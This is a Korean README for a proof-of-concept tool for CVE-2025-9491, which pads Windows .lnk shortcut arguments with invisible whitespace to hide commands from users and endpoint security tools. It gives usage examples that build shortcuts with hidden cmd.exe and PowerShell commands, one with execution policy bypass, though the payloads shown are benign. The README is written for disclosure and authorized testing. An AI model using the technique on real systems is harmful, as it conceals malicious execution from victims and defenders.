
Windows 바로가기 파일(.lnk)의 인수에 보이지 않는 문자를 사용하는 CVE-2025-9491의 개념 증명
Windows 바로가기(.lnk) 파일 취약점(ZDI-CAN-25373/CVE-2025-9491)을 시연하기 위한 개념 증명 도구입니다. 이 도구는 공백 문자 패딩을 활용하여 악성 명령줄 인수를 .lnk 파일 내에 숨길 수 있는 방법을 보여줍니다.
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 허가 없이 컴퓨터 시스템에 접근하는 것은 불법입니다. 이 도구는 본인이 소유하거나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.
이것은 CVE-2025-9491 취약점을 시연하기 위해 Windows .lnk (바로가기) 파일을 생성 및 조작하는 개념 증명 도구입니다. 이 도구는 사용자에게 다음과 같은 기능을 제공합니다.
이 취약점은 Windows가 바로가기 파일 속성을 표시하는 방식을 악용하여, 공격자가 바로가기를 검사하는 사용자로부터 악성 명령줄 인수를 숨길 수 있게 합니다.
CVE-2025-9491은 .lnk (바로가기) 파일에 영향을 미치는 Windows UI 오표시 취약점입니다. Trend Micro의 ZDI(Zero Day Initiative)에 의해 발견되었으며(ZDI-CAN-25373), 적어도 2017년부터 국가 지원 APT 그룹에 의해 악용되었습니다(자세한 내용은 크레딧 참조).
이 취약점은 Windows 바로가기 UI의 고정 크기 "대상" 필드를 이용합니다. 인수에 공백 문자(공백, 탭, 줄 바꿈, 캐리지 리턴)를 패딩함으로써 악의적인 행위자는 악성 명령을 숨기고 숨겨진 페이로드를 실행할 수 있습니다. 또한, 사용자가 바로가기를 검사할 때 실제 명령이 아닌 패딩된 공백만 보이게 되어 탐지를 회피하는 데 사용될 수도 있으며, EDR(엔드포인트 탐지 및 대응) 원격 측정에 매우 긴 명령줄이 기록되고, 충분히 길 경우 일반적인 EPP(엔드포인트 보호 플랫폼)나 안티바이러스는 모두 읽기를 포기하게 됩니다.
Python 3.7 이상이 필요합니다.
저장소를 클론 또는 다운로드합니다:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
의존성을 설치합니다:
빠르고 간단한 방법입니다. 가상 환경(venv) 사용을 권장합니다.
pip install -r requirements.txt
도구를 실행합니다:
python main.py --help
도구에는 create, obfuscate, parse 세 가지 주요 모드가 있습니다.
처음부터 난독화된 LNK 파일을 생성합니다.
구문:
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [옵션]
필수 인수:
-t, --target - 대상 실행 파일의 경로-a, --arguments - 대상 실행 파일에 전달할 인수-o, --output - 출력 LNK 파일 대상선택적 인수:
-c, --charset - 패딩에 사용할 사용자 정의 문자 집합 (16진수 형식)
20,09,0A,0B,0C,0D (공백, 탭, LF, VT, FF, CR)-s, --padding_size - 패딩 문자 수
128 (알려진 제한 없음)-p, --pattern_type - 패딩 패턴 스타일
-i, --icon - 바로가기에 사용할 사용자 정의 아이콘 경로
-d, --description - 바로가기에 표시할 설명
-v, --verbose - 상세 출력 활성화
예제:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
기존 LNK 파일의 인수에 패딩을 추가합니다.
구문:
python main.py obfuscate -i INPUT -o OUTPUT [옵션]
필수 인수:
-i, --input - 난독화할 기존 LNK 파일의 경로-o, --output - 출력 LNK 파일 대상선택적 인수:
-c, --charset - 패딩에 사용할 사용자 정의 문자 집합 (16진수 형식)
20,09,0A,0B,0C,0D-s, --padding_size - 패딩 문자 수
128-p, --pattern_type - 패딩 패턴 스타일
-v, --verbose - 상세 출력 활성화
예제:
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
기존 LNK 파일의 내용을 표시합니다.
구문:
python main.py parse -i INPUT
필수 인수:
-i, --input - 파싱하여 표시할 LNK 파일의 경로예제:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
이 명령은 cmd.exe에 대한 바로가기를 생성하며, 200개의 무작위 패딩 문자 뒤에 숨겨진 PowerShell 명령이 포함됩니다.
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
이 명령은 기존 바로가기에 공백과 탭을 사용한 단일 패턴으로 512개의 패딩 문자를 추가합니다.
python main.py parse -i "suspicious.lnk"
출력에는 숨겨진 인수를 포함한 모든 속성이 표시됩니다.
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "My Document"